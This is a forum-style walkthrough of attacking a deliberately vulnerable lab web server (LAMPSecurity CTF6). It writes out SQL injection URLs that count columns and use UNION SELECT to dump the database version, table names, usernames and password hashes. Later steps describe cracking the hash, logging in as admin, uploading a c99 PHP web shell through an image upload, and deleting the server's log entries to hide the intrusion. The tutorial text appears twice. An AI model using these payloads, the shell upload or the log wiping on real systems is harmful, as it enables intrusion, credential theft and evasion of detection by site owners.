Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stcS5IDB7Gqqg_Cv7ESn-OMptKkAYGQpuD7RM4THFuY-M_28H6W_r6zVJAHwxM86sv-2wcC6cql0sJnAT_kA2iEDyQHgDP4H0Z8t_l8aR05_CKpmbWaejCm-OmNPFaGZ-V0gR6WTw7sr2wn2tYGAA63Cs1P2UhN-q0r7IdiygNRrQ4=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvOoxMSmQ8KYKNdE2HwJoHEzpMjwHEwXa7L1cQ2iDLWIHsNhIRF_hP4fKgD7W51FMmD2bJiN414OwSoeHMKBECvkLenGruHPrA3-ZzD7Ve8tO_jQ-bHcxponOOTSeiURo5xbq28bg9gFScXiyRIwAvsCpa-XhpLD1TifQGW7Y--2WAlQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sysFZ4HPl7Mps-6YI7WAky1JLhViYYZ882ZwMQaWev7g7jvX5xaCzlCeHJwRcELKgh9afiWIJLWM_hxAV8CpCw1qb6Yrgalt4ct3qFnJRwBWvMwthZHP1d1xw2I0Fpp-HeBgyCBDq6VMzBrS86pncZKmRnMcaO4dUJcg8Cbk9m_Kj_EQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMmAzJadIknmo247qY8wwFrxWZbM9yhdLoE5BiZpcP7Im0Z0uv0zxx5KAz4V37dN7AdvkEAbUYFvDA_V8bTJvLxIigyPplKqsqVOkN-7e3rp1UCjtUD_W8FkNQlattSnMrA6JtQcVBDTVa3lCbhg2TLg4FWKilJt3sQ3wYmFwPFweV0Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZZAbXAoYsLxvfZS3fZAKcZrxPi4K6Ye5ImjF3uMDhJbuIt8NGQbqu-srsmlPfeYpeLIpxRAp1Svr3AqngpFUx0eC2V5ltSWJS6Ycq37c3EyX439T8thtWefz7MmEwfH7lJbAHO1ZwSVpd2cvsrfLKqog0O_SfYVjb2TEnaeQ1aOOE1g=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tAQQytp_mIzsvw-kdt4wAk05NkJfllD0bw3rJvzeW_pH_agt7mDH76Z7mQYGWP87ue9PEVe5Lef1VaP9inIv5n7cbXafXGm3aYE4-N20Bf13TCrGDqp1frT1ixzmAOFNqzqPAtLAZegzGKWQKL9L-vOPkUO4obNjtrxeRXl6hrKx08=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFPvzoRkx9wj_nRk8lG7f7viHISOsddskgncVQyv4RHekMcPhXlnrRQKe8FGyGC0ccJ2NW4kGVSljnEDXl26OYKqgyen5jjOKHk70V8fDAU_2y1HkQdv0ruit_7LZZsw7G64HBycZNMkdEnxNuMD5rBECVBhgEiaNY3NA30dLtlS-j1LQ=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLHfpmwoPkzhnLHxRDDzyUghFkRZDWUqrZP_MHDGVUL6FNZWpnG_RUzlNU6Rm4gYj_UcggA4DlPwHZChh3e7nkvysx7thh44u6029mzrJ2C_xZwXYFvkePQLxa22vXkYhmTuY6gBdqk5SBmLVJ3b64SmOcXyMxikcTQqBaYVfQ5C2_Gn8=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_szdFUo2LSzUbL3AlaT7mHFZ78hucDDffhtHkgWhbhJKAIBPgVHF_CSt8jY8u8n53vSck4kzgLUeBD6N8gj5FaYO1WJywzJOjfG6gFThv-6uaNwWGja2WvqHDMwUGYpEGAy1lzM7gJn_QNp0xpQwnTOjb45UA5hg0Wqsw-mlr8d1e33HyA=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqPoUz2AX3wAEPNXFwWR3-J5zO3fx-hAOfmdXNdZBC4skKu2H9ZVvdCekr3NeSIb0KA6650bOTD0aFJ94MDqUuZ6kQxuR-4WEYYimsvT_Agx-yO_poOI4j8F5bPcC9nVF0FJwz__piQeV_WgL1nxHE8Tz5eIXiVWB6s0wySwBKrYr0mbM=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uD9TQV8U2_C0rEFfGYEA-mdumZxsc4LKSA7LNVd9Aij6l6mdq9Ut4XA1dYh3DafHZwU9CFNoqXy6tXXFJA77isDH05m8ouWUc3hTwBCNM-2ODwgsUx1YNEODjAVnE_VIxrSzB3-yiIVqxEApYlZf_lQ-ADIGebyeOpzd5DVMu21rMVkA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tanPztr74b0cY1VNmTItCIVyUoBnbhwTa7nP5guZsPnuvC7mZO-1gdcyLClcDGxgWLXRa5HKY3zTrEXr5_ujdXnRHUZ8lkIWtnaZIPuKX6mEzbj3yRAop9Cr91d87PGMea-i-hKuxJW7pexVJQINqcAfy15qxNRimLxnyNjULJyTiMrR8=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCUKl3KhmxyEyGiEHx8KNopTYLrvTAzdYBBuvEh_JtuXEZ1L7IwN5FxU-_MV78VYiskGT-5A1YdwL290rkSXJahNhN_rrw2Aw-AbZ0If86ekw-_xft-b1jO2eYa7YM35wZli_Hrct6D4zadXePi69KGNB8V4pshyl-eANvz_nygpMCXDM=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVUTFAR3Gbrp0WhKD4KlqQTu2bdYsDc1kAHYyWVgGXz-5-AH70XKnttTc6azzwcPdlqQpt9w3kUcrV09T_-8d86DbnxoxvbyZGAPoAuhE8xoeKR8147xvZuctCnQqlKfNOZqnQzuNEr4flX-BMIJ8OF3ZDQJtoQeNExKkJkWVnJTwEXw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v_nVOhpDO-zmIkQQlb8XnjVaHWtrboaKjSZr7HxDcu6pbOD9iS0qTOmBMym_Ca4Vfi2fpFb581ALFn3fO02y7IagP9EBxVlQMCl5pGyCQPQxA96mYYYxvxcAqa5JZnXlX2i4oJ17IAoDaoCduF3f7XQoOLdwpeVJXHKEgKlgrmDlvjSw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqahnmf9MQeYIcdzpAYaRad8Dim6i6Egm4-tsQikQaf17gTvMvEHFrF850KAnp8L3EilkAM3xQIjOwAbcRr7tWDtUGVVLY4_knc9u3zJV4aAXxdZyu0qHgu87yjox6l8aIdE-EPMRO329EyhFD2NKF2Lp9h9Oii3Huj4AWD2SQdbPxCm4=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udbFGYbeZt_sjheRKa-Ii1aVA-GsEjR2fy0rr5AD-EC39H7apQJB35PDLu1-HqkaRqHGJaD4RsSw33glq4aeXGODAqnDz8xvoy554f7ltIEYfKeQEDoheZtIHbVW8w7q12COWasVqe8oQuFsDnbhfYVu45IXjmRN74BlCg4RV2wPsrLXM=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
